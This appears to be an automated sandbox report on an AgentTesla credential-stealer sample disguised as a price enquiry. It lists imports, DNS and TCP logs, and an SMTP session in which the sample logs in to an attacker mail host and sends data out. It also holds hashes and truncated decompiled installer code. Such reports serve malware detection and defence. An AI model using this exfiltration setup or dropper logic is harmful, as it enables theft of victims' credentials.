USER32.dll	SetCursor, GetWindowRect, EnableMenuItem, GetSystemMenu, SetClassLongA, IsWindowEnabled, SetWindowPos, GetSysColor, EndDialog, ScreenToClient, LoadCursorA, CheckDlgButton, GetMessagePos, LoadBitmapA, CallWindowProcA, IsWindowVisible, CloseClipboard, SetForegroundWindow, GetWindowLongA, RegisterClassA, TrackPopupMenu, AppendMenuA, CreatePopupMenu, GetSystemMetrics, SetDlgItemTextA, GetDlgItemTextA, MessageBoxIndirectA, CharPrevA, DispatchMessageA, PeekMessageA, GetDC, EnableWindow, InvalidateRect, SendMessageA, DefWindowProcA, BeginPaint, GetClientRect, FillRect, DrawTextA, SystemParametersInfoA, CreateWindowExA, GetClassInfoA, DialogBoxParamA, CharNextA, ExitWindowsEx, SetTimer, PostQuitMessage, SetWindowLongA, SendMessageTimeoutA, LoadImageA, wsprintfA, GetDlgItem, FindWindowExA, IsWindow, SetClipboardData, EmptyClipboard, OpenClipboard, EndPaint, CreateDialogParamA, DestroyWindow, ShowWindow, SetWindowTextA
GDI32.dll	SelectObject, SetBkMode, CreateFontIndirectA, SetTextColor, DeleteObject, GetDeviceCaps, CreateBrushIndirect, SetBkColor
SHELL32.dll	SHGetSpecialFolderLocation, SHGetPathFromIDListA, SHBrowseForFolderA, SHGetFileInfoA, SHFileOperationA, ShellExecuteA
ADVAPI32.dll	RegDeleteValueA, SetFileSecurityA, RegOpenKeyExA, RegDeleteKeyA, RegEnumValueA, RegCloseKey, RegCreateKeyExA, RegSetValueExA, RegQueryValueExA, RegEnumKeyA
COMCTL32.dll	ImageList_AddMasked, ImageList_Destroy, ImageList_Create
ole32.dll	OleUninitialize, OleInitialize, CoTaskMemFree, CoCreateInstance

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 14, 2021 05:40:41.849708080 CEST	49834	587	192.168.2.3	208.91.198.143
Oct 14, 2021 05:40:41.997730970 CEST	587	49834	208.91.198.143	192.168.2.3
Oct 14, 2021 05:40:41.997868061 CEST	49834	587	192.168.2.3	208.91.198.143
Oct 14, 2021 05:40:42.280374050 CEST	587	49834	208.91.198.143	192.168.2.3
Oct 14, 2021 05:40:42.280761003 CEST	49834	587	192.168.2.3	208.91.198.143
Oct 14, 2021 05:40:42.428858042 CEST	587	49834	208.91.198.143	192.168.2.3
Oct 14, 2021 05:40:42.428895950 CEST	587	49834	208.91.198.143	192.168.2.3
Oct 14, 2021 05:40:42.429255009 CEST	49834	587	192.168.2.3	208.91.198.143
Oct 14, 2021 05:40:42.578535080 CEST	587	49834	208.91.198.143	192.168.2.3
Oct 14, 2021 05:40:42.578824997 CEST	49834	587	192.168.2.3	208.91.198.143
Oct 14, 2021 05:40:42.729707956 CEST	587	49834	208.91.198.143	192.168.2.3
Oct 14, 2021 05:40:42.729993105 CEST	49834	587	192.168.2.3	208.91.198.143
Oct 14, 2021 05:40:42.878957987 CEST	587	49834	208.91.198.143	192.168.2.3
Oct 14, 2021 05:40:42.879266977 CEST	49834	587	192.168.2.3	208.91.198.143
Oct 14, 2021 05:40:43.066736937 CEST	587	49834	208.91.198.143	192.168.2.3
Oct 14, 2021 05:40:43.327400923 CEST	587	49834	208.91.198.143	192.168.2.3
Oct 14, 2021 05:40:43.327842951 CEST	49834	587	192.168.2.3	208.91.198.143
Oct 14, 2021 05:40:43.475944996 CEST	587	49834	208.91.198.143	192.168.2.3
Oct 14, 2021 05:40:43.476102114 CEST	587	49834	208.91.198.143	192.168.2.3
Oct 14, 2021 05:40:43.478363991 CEST	49834	587	192.168.2.3	208.91.198.143
Oct 14, 2021 05:40:43.478646040 CEST	49834	587	192.168.2.3	208.91.198.143
Oct 14, 2021 05:40:43.478933096 CEST	49834	587	192.168.2.3	208.91.198.143
Oct 14, 2021 05:40:43.479428053 CEST	49834	587	192.168.2.3	208.91.198.143
Oct 14, 2021 05:40:43.479723930 CEST	49834	587	192.168.2.3	208.91.198.143
Oct 14, 2021 05:40:43.479990005 CEST	49834	587	192.168.2.3	208.91.198.143
Oct 14, 2021 05:40:43.480247974 CEST	49834	587	192.168.2.3	208.91.198.143
Oct 14, 2021 05:40:43.480508089 CEST	49834	587	192.168.2.3	208.91.198.143
Oct 14, 2021 05:40:43.480776072 CEST	49834	587	192.168.2.3	208.91.198.143
Oct 14, 2021 05:40:43.481023073 CEST	49834	587	192.168.2.3	208.91.198.143
Oct 14, 2021 05:40:43.481285095 CEST	49834	587	192.168.2.3	208.91.198.143
Oct 14, 2021 05:40:43.481548071 CEST	49834	587	192.168.2.3	208.91.198.143
Oct 14, 2021 05:40:43.481803894 CEST	49834	587	192.168.2.3	208.91.198.143
Oct 14, 2021 05:40:43.482054949 CEST	49834	587	192.168.2.3	208.91.198.143
Oct 14, 2021 05:40:43.482319117 CEST	49834	587	192.168.2.3	208.91.198.143
Oct 14, 2021 05:40:43.482629061 CEST	49834	587	192.168.2.3	208.91.198.143
Oct 14, 2021 05:40:43.626573086 CEST	587	49834	208.91.198.143	192.168.2.3
Oct 14, 2021 05:40:43.627161026 CEST	49834	587	192.168.2.3	208.91.198.143
Oct 14, 2021 05:40:43.627346039 CEST	587	49834	208.91.198.143	192.168.2.3
Oct 14, 2021 05:40:43.627908945 CEST	587	49834	208.91.198.143	192.168.2.3
Oct 14, 2021 05:40:43.628104925 CEST	49834	587	192.168.2.3	208.91.198.143
Oct 14, 2021 05:40:43.628412008 CEST	587	49834	208.91.198.143	192.168.2.3
Oct 14, 2021 05:40:43.628719091 CEST	49834	587	192.168.2.3	208.91.198.143
Oct 14, 2021 05:40:43.628940105 CEST	587	49834	208.91.198.143	192.168.2.3
Oct 14, 2021 05:40:43.629074097 CEST	49834	587	192.168.2.3	208.91.198.143
Oct 14, 2021 05:40:43.629371881 CEST	49834	587	192.168.2.3	208.91.198.143
Oct 14, 2021 05:40:43.629399061 CEST	587	49834	208.91.198.143	192.168.2.3
Oct 14, 2021 05:40:43.629528999 CEST	49834	587	192.168.2.3	208.91.198.143
Oct 14, 2021 05:40:43.629966974 CEST	587	49834	208.91.198.143	192.168.2.3
Oct 14, 2021 05:40:43.630126953 CEST	49834	587	192.168.2.3	208.91.198.143
Oct 14, 2021 05:40:43.630577087 CEST	587	49834	208.91.198.143	192.168.2.3
Oct 14, 2021 05:40:43.630723000 CEST	49834	587	192.168.2.3	208.91.198.143
Oct 14, 2021 05:40:43.776123047 CEST	587	49834	208.91.198.143	192.168.2.3
Oct 14, 2021 05:40:43.776155949 CEST	587	49834	208.91.198.143	192.168.2.3
Oct 14, 2021 05:40:43.776271105 CEST	49834	587	192.168.2.3	208.91.198.143
Oct 14, 2021 05:40:43.776328087 CEST	49834	587	192.168.2.3	208.91.198.143
Oct 14, 2021 05:40:43.776799917 CEST	587	49834	208.91.198.143	192.168.2.3
Oct 14, 2021 05:40:43.776935101 CEST	49834	587	192.168.2.3	208.91.198.143
Oct 14, 2021 05:40:43.776966095 CEST	49834	587	192.168.2.3	208.91.198.143
Oct 14, 2021 05:40:43.777112007 CEST	587	49834	208.91.198.143	192.168.2.3
Oct 14, 2021 05:40:43.777211905 CEST	49834	587	192.168.2.3	208.91.198.143
Oct 14, 2021 05:40:43.777437925 CEST	587	49834	208.91.198.143	192.168.2.3
Oct 14, 2021 05:40:43.777524948 CEST	49834	587	192.168.2.3	208.91.198.143
Oct 14, 2021 05:40:43.777596951 CEST	49834	587	192.168.2.3	208.91.198.143
Oct 14, 2021 05:40:43.778228998 CEST	587	49834	208.91.198.143	192.168.2.3
Oct 14, 2021 05:40:43.778327942 CEST	49834	587	192.168.2.3	208.91.198.143
Oct 14, 2021 05:40:43.778614998 CEST	587	49834	208.91.198.143	192.168.2.3
Oct 14, 2021 05:40:43.778693914 CEST	49834	587	192.168.2.3	208.91.198.143
Oct 14, 2021 05:40:43.778728008 CEST	587	49834	208.91.198.143	192.168.2.3
Oct 14, 2021 05:40:43.778810024 CEST	49834	587	192.168.2.3	208.91.198.143
Oct 14, 2021 05:40:43.924308062 CEST	587	49834	208.91.198.143	192.168.2.3
Oct 14, 2021 05:40:43.924475908 CEST	49834	587	192.168.2.3	208.91.198.143
Oct 14, 2021 05:40:43.924504042 CEST	587	49834	208.91.198.143	192.168.2.3
Oct 14, 2021 05:40:43.924833059 CEST	587	49834	208.91.198.143	192.168.2.3
Oct 14, 2021 05:40:43.925064087 CEST	587	49834	208.91.198.143	192.168.2.3
Oct 14, 2021 05:40:43.925216913 CEST	587	49834	208.91.198.143	192.168.2.3
Oct 14, 2021 05:40:43.925254107 CEST	587	49834	208.91.198.143	192.168.2.3
Oct 14, 2021 05:40:43.925390959 CEST	587	49834	208.91.198.143	192.168.2.3
Oct 14, 2021 05:40:43.925606012 CEST	587	49834	208.91.198.143	192.168.2.3
Oct 14, 2021 05:40:43.925642014 CEST	587	49834	208.91.198.143	192.168.2.3
Oct 14, 2021 05:40:43.925674915 CEST	587	49834	208.91.198.143	192.168.2.3
Oct 14, 2021 05:40:43.925812960 CEST	587	49834	208.91.198.143	192.168.2.3
Oct 14, 2021 05:40:43.926218987 CEST	587	49834	208.91.198.143	192.168.2.3
Oct 14, 2021 05:40:43.926425934 CEST	587	49834	208.91.198.143	192.168.2.3
Oct 14, 2021 05:40:43.926698923 CEST	587	49834	208.91.198.143	192.168.2.3
Oct 14, 2021 05:40:43.926943064 CEST	587	49834	208.91.198.143	192.168.2.3
Oct 14, 2021 05:40:44.072454929 CEST	587	49834	208.91.198.143	192.168.2.3
Oct 14, 2021 05:40:44.111721039 CEST	587	49834	208.91.198.143	192.168.2.3
Oct 14, 2021 05:40:44.489171982 CEST	587	49834	208.91.198.143	192.168.2.3
Oct 14, 2021 05:40:44.529731035 CEST	49834	587	192.168.2.3	208.91.198.143
Oct 14, 2021 05:40:49.484878063 CEST	49834	587	192.168.2.3	208.91.198.143
Oct 14, 2021 05:40:49.633388996 CEST	587	49834	208.91.198.143	192.168.2.3
Oct 14, 2021 05:40:49.633500099 CEST	49834	587	192.168.2.3	208.91.198.143
Oct 14, 2021 05:40:49.705029011 CEST	49838	587	192.168.2.3	208.91.199.223
Oct 14, 2021 05:40:49.855911970 CEST	587	49838	208.91.199.223	192.168.2.3
Oct 14, 2021 05:40:49.856064081 CEST	49838	587	192.168.2.3	208.91.199.223
Oct 14, 2021 05:40:49.999526024 CEST	49838	587	192.168.2.3	208.91.199.223
Oct 14, 2021 05:40:50.151825905 CEST	587	49838	208.91.199.223	192.168.2.3
Oct 14, 2021 05:40:50.569895983 CEST	49839	587	192.168.2.3	208.91.199.223
Oct 14, 2021 05:40:50.721626043 CEST	587	49839	208.91.199.223	192.168.2.3
Oct 14, 2021 05:40:50.721752882 CEST	49839	587	192.168.2.3	208.91.199.223
Oct 14, 2021 05:40:50.921958923 CEST	49839	587	192.168.2.3	208.91.199.223
Oct 14, 2021 05:40:50.936796904 CEST	587	49839	208.91.199.223	192.168.2.3
Oct 14, 2021 05:40:50.937040091 CEST	49839	587	192.168.2.3	208.91.199.223
Oct 14, 2021 05:40:51.073817968 CEST	587	49839	208.91.199.223	192.168.2.3
Oct 14, 2021 05:40:51.074263096 CEST	49839	587	192.168.2.3	208.91.199.223
Oct 14, 2021 05:40:55.161595106 CEST	587	49838	208.91.199.223	192.168.2.3
Oct 14, 2021 05:40:55.161653996 CEST	587	49838	208.91.199.223	192.168.2.3
Oct 14, 2021 05:40:55.161721945 CEST	49838	587	192.168.2.3	208.91.199.223
Oct 14, 2021 05:40:55.161755085 CEST	49838	587	192.168.2.3	208.91.199.223

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 14, 2021 05:40:41.683135986 CEST	60352	53	192.168.2.3	8.8.8.8
Oct 14, 2021 05:40:41.830148935 CEST	53	60352	8.8.8.8	192.168.2.3
Oct 14, 2021 05:40:49.515357971 CEST	60982	53	192.168.2.3	8.8.8.8
Oct 14, 2021 05:40:49.700959921 CEST	53	60982	8.8.8.8	192.168.2.3
Oct 14, 2021 05:40:50.406992912 CEST	58058	53	192.168.2.3	8.8.8.8
Oct 14, 2021 05:40:50.567051888 CEST	53	58058	8.8.8.8	192.168.2.3

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class
Oct 14, 2021 05:40:41.683135986 CEST	192.168.2.3	8.8.8.8	0x92b3	Standard query (0)	smtp.seredebe.com	A (IP address)	IN (0x0001)
Oct 14, 2021 05:40:49.515357971 CEST	192.168.2.3	8.8.8.8	0x3745	Standard query (0)	smtp.seredebe.com	A (IP address)	IN (0x0001)
Oct 14, 2021 05:40:50.406992912 CEST	192.168.2.3	8.8.8.8	0xd292	Standard query (0)	smtp.seredebe.com	A (IP address)	IN (0x0001)

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class
Oct 14, 2021 05:40:41.830148935 CEST	8.8.8.8	192.168.2.3	0x92b3	No error (0)	smtp.seredebe.com	us2.smtp.mailhostbox.com		CNAME (Canonical name)	IN (0x0001)
Oct 14, 2021 05:40:41.830148935 CEST	8.8.8.8	192.168.2.3	0x92b3	No error (0)	us2.smtp.mailhostbox.com		208.91.198.143	A (IP address)	IN (0x0001)
Oct 14, 2021 05:40:41.830148935 CEST	8.8.8.8	192.168.2.3	0x92b3	No error (0)	us2.smtp.mailhostbox.com		208.91.199.225	A (IP address)	IN (0x0001)
Oct 14, 2021 05:40:41.830148935 CEST	8.8.8.8	192.168.2.3	0x92b3	No error (0)	us2.smtp.mailhostbox.com		208.91.199.223	A (IP address)	IN (0x0001)
Oct 14, 2021 05:40:41.830148935 CEST	8.8.8.8	192.168.2.3	0x92b3	No error (0)	us2.smtp.mailhostbox.com		208.91.199.224	A (IP address)	IN (0x0001)
Oct 14, 2021 05:40:49.700959921 CEST	8.8.8.8	192.168.2.3	0x3745	No error (0)	smtp.seredebe.com	us2.smtp.mailhostbox.com		CNAME (Canonical name)	IN (0x0001)
Oct 14, 2021 05:40:49.700959921 CEST	8.8.8.8	192.168.2.3	0x3745	No error (0)	us2.smtp.mailhostbox.com		208.91.199.223	A (IP address)	IN (0x0001)
Oct 14, 2021 05:40:49.700959921 CEST	8.8.8.8	192.168.2.3	0x3745	No error (0)	us2.smtp.mailhostbox.com		208.91.199.224	A (IP address)	IN (0x0001)
Oct 14, 2021 05:40:49.700959921 CEST	8.8.8.8	192.168.2.3	0x3745	No error (0)	us2.smtp.mailhostbox.com		208.91.199.225	A (IP address)	IN (0x0001)
Oct 14, 2021 05:40:49.700959921 CEST	8.8.8.8	192.168.2.3	0x3745	No error (0)	us2.smtp.mailhostbox.com		208.91.198.143	A (IP address)	IN (0x0001)
Oct 14, 2021 05:40:50.567051888 CEST	8.8.8.8	192.168.2.3	0xd292	No error (0)	smtp.seredebe.com	us2.smtp.mailhostbox.com		CNAME (Canonical name)	IN (0x0001)
Oct 14, 2021 05:40:50.567051888 CEST	8.8.8.8	192.168.2.3	0xd292	No error (0)	us2.smtp.mailhostbox.com		208.91.199.223	A (IP address)	IN (0x0001)
Oct 14, 2021 05:40:50.567051888 CEST	8.8.8.8	192.168.2.3	0xd292	No error (0)	us2.smtp.mailhostbox.com		208.91.199.224	A (IP address)	IN (0x0001)
Oct 14, 2021 05:40:50.567051888 CEST	8.8.8.8	192.168.2.3	0xd292	No error (0)	us2.smtp.mailhostbox.com		208.91.198.143	A (IP address)	IN (0x0001)
Oct 14, 2021 05:40:50.567051888 CEST	8.8.8.8	192.168.2.3	0xd292	No error (0)	us2.smtp.mailhostbox.com		208.91.199.225	A (IP address)	IN (0x0001)

SMTP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP	Commands
Oct 14, 2021 05:40:42.280374050 CEST	587	49834	208.91.198.143	192.168.2.3	220 us2.outbound.mailhostbox.com ESMTP Postfix
Oct 14, 2021 05:40:42.280761003 CEST	49834	587	192.168.2.3	208.91.198.143	EHLO 141700
Oct 14, 2021 05:40:42.428895950 CEST	587	49834	208.91.198.143	192.168.2.3	250-us2.outbound.mailhostbox.com 250-PIPELINING 250-SIZE 41648128 250-VRFY 250-ETRN 250-STARTTLS 250-AUTH PLAIN LOGIN 250-AUTH=PLAIN LOGIN 250-ENHANCEDSTATUSCODES 250-8BITMIME 250 DSN
Oct 14, 2021 05:40:42.429255009 CEST	49834	587	192.168.2.3	208.91.198.143	AUTH login b3N5QHNlcmVkZWJlLmNvbQ==
Oct 14, 2021 05:40:42.578535080 CEST	587	49834	208.91.198.143	192.168.2.3	334 UGFzc3dvcmQ6
Oct 14, 2021 05:40:42.729707956 CEST	587	49834	208.91.198.143	192.168.2.3	235 2.7.0 Authentication successful
Oct 14, 2021 05:40:42.729993105 CEST	49834	587	192.168.2.3	208.91.198.143	MAIL FROM:<osy@seredebe.com>
Oct 14, 2021 05:40:42.878957987 CEST	587	49834	208.91.198.143	192.168.2.3	250 2.1.0 Ok
Oct 14, 2021 05:40:42.879266977 CEST	49834	587	192.168.2.3	208.91.198.143	RCPT TO:<osy@seredebe.com>
Oct 14, 2021 05:40:43.327400923 CEST	587	49834	208.91.198.143	192.168.2.3	250 2.1.5 Ok
Oct 14, 2021 05:40:43.327842951 CEST	49834	587	192.168.2.3	208.91.198.143	DATA
Oct 14, 2021 05:40:43.476102114 CEST	587	49834	208.91.198.143	192.168.2.3	354 End data with <CR><LF>.<CR><LF>
Oct 14, 2021 05:40:44.489171982 CEST	587	49834	208.91.198.143	192.168.2.3	250 2.0.0 Ok: queued as 3CEA834166F
Oct 14, 2021 05:40:50.936796904 CEST	587	49839	208.91.199.223	192.168.2.3	220 us2.outbound.mailhostbox.com ESMTP Postfix
Oct 14, 2021 05:40:55.161595106 CEST	587	49838	208.91.199.223	192.168.2.3	220 us2.outbound.mailhostbox.com ESMTP Postfix

Code Manipulations

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: Price enquiry for test machine.exe PID: 5956 Parent PID: 3460

General

Start time:	05:39:14
Start date:	14/10/2021
Path:	C:\Users\user\Desktop\Price enquiry for test machine.exe
Wow64 process (32bit):	true
Commandline:	'C:\Users\user\Desktop\Price enquiry for test machine.exe'
Imagebase:	0x400000
File size:	488692 bytes
MD5 hash:	C7564CA82A81B09C5D401918FDA024C2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000000.00000002.288215698.0000000002360000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_2, Description: Yara detected AgentTesla, Source: 00000000.00000002.288215698.0000000002360000.00000004.00000001.sdmp, Author: Joe Security
Reputation:	low

Chronological Activities

Analysis Process: Price enquiry for test machine.exe PID: 4344 Parent PID: 5956

General

Start time:	05:39:16
Start date:	14/10/2021
Path:	C:\Users\user\Desktop\Price enquiry for test machine.exe
Wow64 process (32bit):	true
Commandline:	'C:\Users\user\Desktop\Price enquiry for test machine.exe'
Imagebase:	0x400000
File size:	488692 bytes
MD5 hash:	C7564CA82A81B09C5D401918FDA024C2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000001.00000002.544995726.0000000000768000.00000004.00000020.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_2, Description: Yara detected AgentTesla, Source: 00000001.00000002.544995726.0000000000768000.00000004.00000020.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000001.00000002.544787506.0000000000400000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_2, Description: Yara detected AgentTesla, Source: 00000001.00000002.544787506.0000000000400000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000001.00000001.287742408.0000000000414000.00000040.00020000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_2, Description: Yara detected AgentTesla, Source: 00000001.00000001.287742408.0000000000414000.00000040.00020000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000001.00000002.545933351.0000000002841000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000001.00000002.545933351.0000000002841000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000001.00000002.546940233.0000000004940000.00000004.00020000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_2, Description: Yara detected AgentTesla, Source: 00000001.00000002.546940233.0000000004940000.00000004.00020000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000001.00000002.546899969.0000000003841000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_2, Description: Yara detected AgentTesla, Source: 00000001.00000002.546899969.0000000003841000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000001.00000002.546967586.0000000004982000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_2, Description: Yara detected AgentTesla, Source: 00000001.00000002.546967586.0000000004982000.00000040.00000001.sdmp, Author: Joe Security
Reputation:	low

Chronological Activities

Disassembly

Code Analysis

Reset < >

Analysis Process: Price enquiry for test machine.exe PID: 5956 Parent PID: 3460 Price enquiry for test machine.exeCOMMON

Executed Functions

Function 004030FB, Relevance: 80.8, APIs: 26, Strings: 20, Instructions: 315
stringfilecomCOMMON

Download Yara Rule

C-Code - Quality: 78%

			_entry_() {
				intOrPtr _t47;
				CHAR* _t51;
				char* _t54;
				CHAR* _t56;
				void* _t60;
				intOrPtr _t62;
				int _t64;
				char* _t67;
				char* _t68;
				int _t69;
				char* _t71;
				char* _t74;
				intOrPtr _t87;
				int _t91;
				intOrPtr _t93;
				void* _t95;
				void* _t107;
				intOrPtr* _t108;
				char _t111;
				CHAR* _t116;
				char* _t117;
				CHAR* _t118;
				char* _t119;
				void* _t121;
				char* _t123;
				char* _t125;
				char* _t126;
				void* _t128;
				void* _t129;
				intOrPtr _t138;
				char _t147;

				 *(_t129 + 0x20) = 0;
				 *((intOrPtr*)(_t129 + 0x14)) = "Error writing temporary file. Make sure your temp folder is valid.";
				 *(_t129 + 0x1c) = 0;
				 *(_t129 + 0x18) = 0x20;
				SetErrorMode(0x8001); // executed
				if(GetVersion() != 6) {
					_t108 = E00405F28(0);
					if(_t108 != 0) {
						 *_t108(0xc00);
					}
				}
				_t118 = "UXTHEME";
				goto L4;
				while(1) {
					L22:
					_t111 =  *_t56;
					_t134 = _t111;
					if(_t111 == 0) {
						break;
					}
					__eflags = _t111 - 0x20;
					if(_t111 != 0x20) {
						L10:
						__eflags =  *_t56 - 0x22;
						 *((char*)(_t129 + 0x14)) = 0x20;
						if( *_t56 == 0x22) {
							_t56 =  &(_t56[1]);
							__eflags = _t56;
							 *((char*)(_t129 + 0x14)) = 0x22;
						}
						__eflags =  *_t56 - 0x2f;
						if( *_t56 != 0x2f) {
							L20:
							_t56 = E004056B6(_t56,  *((intOrPtr*)(_t129 + 0x14)));
							__eflags =  *_t56 - 0x22;
							if(__eflags == 0) {
								_t56 =  &(_t56[1]);
								__eflags = _t56;
							}
							continue;
						} else {
							_t56 =  &(_t56[1]);
							__eflags =  *_t56 - 0x53;
							if( *_t56 == 0x53) {
								__eflags = (_t56[1] | 0x00000020) - 0x20;
								if((_t56[1] | 0x00000020) == 0x20) {
									_t14 = _t129 + 0x18;
									 *_t14 =  *(_t129 + 0x18) | 0x00000002;
									__eflags =  *_t14;
								}
							}
							__eflags =  *_t56 - 0x4352434e;
							if( *_t56 == 0x4352434e) {
								__eflags = (_t56[4] | 0x00000020) - 0x20;
								if((_t56[4] | 0x00000020) == 0x20) {
									_t17 = _t129 + 0x18;
									 *_t17 =  *(_t129 + 0x18) | 0x00000004;
									__eflags =  *_t17;
								}
							}
							__eflags =  *((intOrPtr*)(_t56 - 2)) - 0x3d442f20;
							if( *((intOrPtr*)(_t56 - 2)) == 0x3d442f20) {
								 *((intOrPtr*)(_t56 - 2)) = 0;
								_t57 =  &(_t56[2]);
								__eflags =  &(_t56[2]);
								E00405B98("C:\\Users\\hardz\\AppData\\Local\\Temp", _t57);
								L25:
								_t116 = "C:\\Users\\hardz\\AppData\\Local\\Temp\\";
								GetTempPathA(0x400, _t116);
								_t60 = E004030CA(_t134);
								_t135 = _t60;
								if(_t60 != 0) {
									L27:
									DeleteFileA("1033"); // executed
									_t62 = E00402C55(_t136,  *(_t129 + 0x18)); // executed
									 *((intOrPtr*)(_t129 + 0x10)) = _t62;
									if(_t62 != 0) {
										L37:
										E00403511();
										__imp__OleUninitialize();
										_t143 =  *((intOrPtr*)(_t129 + 0x10));
										if( *((intOrPtr*)(_t129 + 0x10)) == 0) {
											__eflags =  *0x423fd4; // 0x0
											if(__eflags == 0) {
												L64:
												_t64 =  *0x423fec; // 0xffffffff
												__eflags = _t64 - 0xffffffff;
												if(_t64 != 0xffffffff) {
													 *(_t129 + 0x1c) = _t64;
												}
												ExitProcess( *(_t129 + 0x1c));
											}
											_t126 = E00405F28(5);
											_t119 = E00405F28(6);
											_t67 = E00405F28(7);
											__eflags = _t126;
											_t117 = _t67;
											if(_t126 != 0) {
												__eflags = _t119;
												if(_t119 != 0) {
													__eflags = _t117;
													if(_t117 != 0) {
														_t74 =  *_t126(GetCurrentProcess(), 0x28, _t129 + 0x20);
														__eflags = _t74;
														if(_t74 != 0) {
															 *_t119(0, "SeShutdownPrivilege", _t129 + 0x28);
															 *(_t129 + 0x3c) = 1;
															 *(_t129 + 0x48) = 2;
															 *_t117( *((intOrPtr*)(_t129 + 0x34)), 0, _t129 + 0x2c, 0, 0, 0);
														}
													}
												}
											}
											_t68 = E00405F28(8);
											__eflags = _t68;
											if(_t68 == 0) {
												L62:
												_t69 = ExitWindowsEx(2, 0x80040002);
												__eflags = _t69;
												if(_t69 != 0) {
													goto L64;
												}
												goto L63;
											} else {
												_t71 =  *_t68(0, 0, 0, 0x25, 0x80040002);
												__eflags = _t71;
												if(_t71 == 0) {
													L63:
													E0040140B(9);
													goto L64;
												}
												goto L62;
											}
										}
										E00405459( *((intOrPtr*)(_t129 + 0x14)), 0x200010);
										ExitProcess(2);
									}
									_t138 =  *0x423f5c; // 0x0
									if(_t138 == 0) {
										L36:
										 *0x423fec =  *0x423fec | 0xffffffff;
										 *(_t129 + 0x1c) = E004035EB( *0x423fec);
										goto L37;
									}
									_t123 = E004056B6(_t125, 0);
									while(_t123 >= _t125) {
										__eflags =  *_t123 - 0x3d3f5f20;
										if(__eflags == 0) {
											break;
										}
										_t123 = _t123 - 1;
										__eflags = _t123;
									}
									_t140 = _t123 - _t125;
									 *((intOrPtr*)(_t129 + 0x10)) = "Error launching installer";
									if(_t123 < _t125) {
										_t121 = E004053E0(_t143);
										lstrcatA(_t116, "~nsu");
										if(_t121 != 0) {
											lstrcatA(_t116, "A");
										}
										lstrcatA(_t116, ".tmp");
										_t127 = "C:\\Users\\hardz\\Desktop";
										if(lstrcmpiA(_t116, "C:\\Users\\hardz\\Desktop") != 0) {
											_push(_t116);
											if(_t121 == 0) {
												E004053C3();
											} else {
												E00405346();
											}
											SetCurrentDirectoryA(_t116);
											_t147 = "C:\\Users\\hardz\\AppData\\Local\\Temp"; // 0x43
											if(_t147 == 0) {
												E00405B98("C:\\Users\\hardz\\AppData\\Local\\Temp", _t127);
											}
											E00405B98(0x425000,  *(_t129 + 0x20));
											 *0x425400 = 0x41;
											_t128 = 0x1a;
											do {
												_t87 =  *0x423f50; // 0x6f2508
												E00405BBA(0, _t116, 0x41f0f0, 0x41f0f0,  *((intOrPtr*)(_t87 + 0x120)));
												DeleteFileA(0x41f0f0);
												if( *((intOrPtr*)(_t129 + 0x10)) != 0) {
													_t91 = CopyFileA("C:\\Users\\hardz\\Desktop\\Price enquiry for test machine.exe", 0x41f0f0, 1);
													_t149 = _t91;
													if(_t91 != 0) {
														_push(0);
														_push(0x41f0f0);
														E004058E6(_t149);
														_t93 =  *0x423f50; // 0x6f2508
														E00405BBA(0, _t116, 0x41f0f0, 0x41f0f0,  *((intOrPtr*)(_t93 + 0x124)));
														_t95 = E004053F8(0x41f0f0);
														if(_t95 != 0) {
															CloseHandle(_t95);
															 *((intOrPtr*)(_t129 + 0x10)) = 0;
														}
													}
												}
												 *0x425400 =  *0x425400 + 1;
												_t128 = _t128 - 1;
												_t151 = _t128;
											} while (_t128 != 0);
											_push(0);
											_push(_t116);
											E004058E6(_t151);
										}
										goto L37;
									}
									 *_t123 = 0;
									_t124 =  &(_t123[4]);
									if(E0040576C(_t140,  &(_t123[4])) == 0) {
										goto L37;
									}
									E00405B98("C:\\Users\\hardz\\AppData\\Local\\Temp", _t124);
									E00405B98("C:\\Users\\hardz\\AppData\\Local\\Temp", _t124);
									 *((intOrPtr*)(_t129 + 0x10)) = 0;
									goto L36;
								}
								GetWindowsDirectoryA(_t116, 0x3fb);
								lstrcatA(_t116, "\\Temp");
								_t107 = E004030CA(_t135);
								_t136 = _t107;
								if(_t107 == 0) {
									goto L37;
								}
								goto L27;
							} else {
								goto L20;
							}
						}
					} else {
						goto L9;
					}
					do {
						L9:
						_t56 =  &(_t56[1]);
						__eflags =  *_t56 - 0x20;
					} while ( *_t56 == 0x20);
					goto L10;
				}
				goto L25;
				L4:
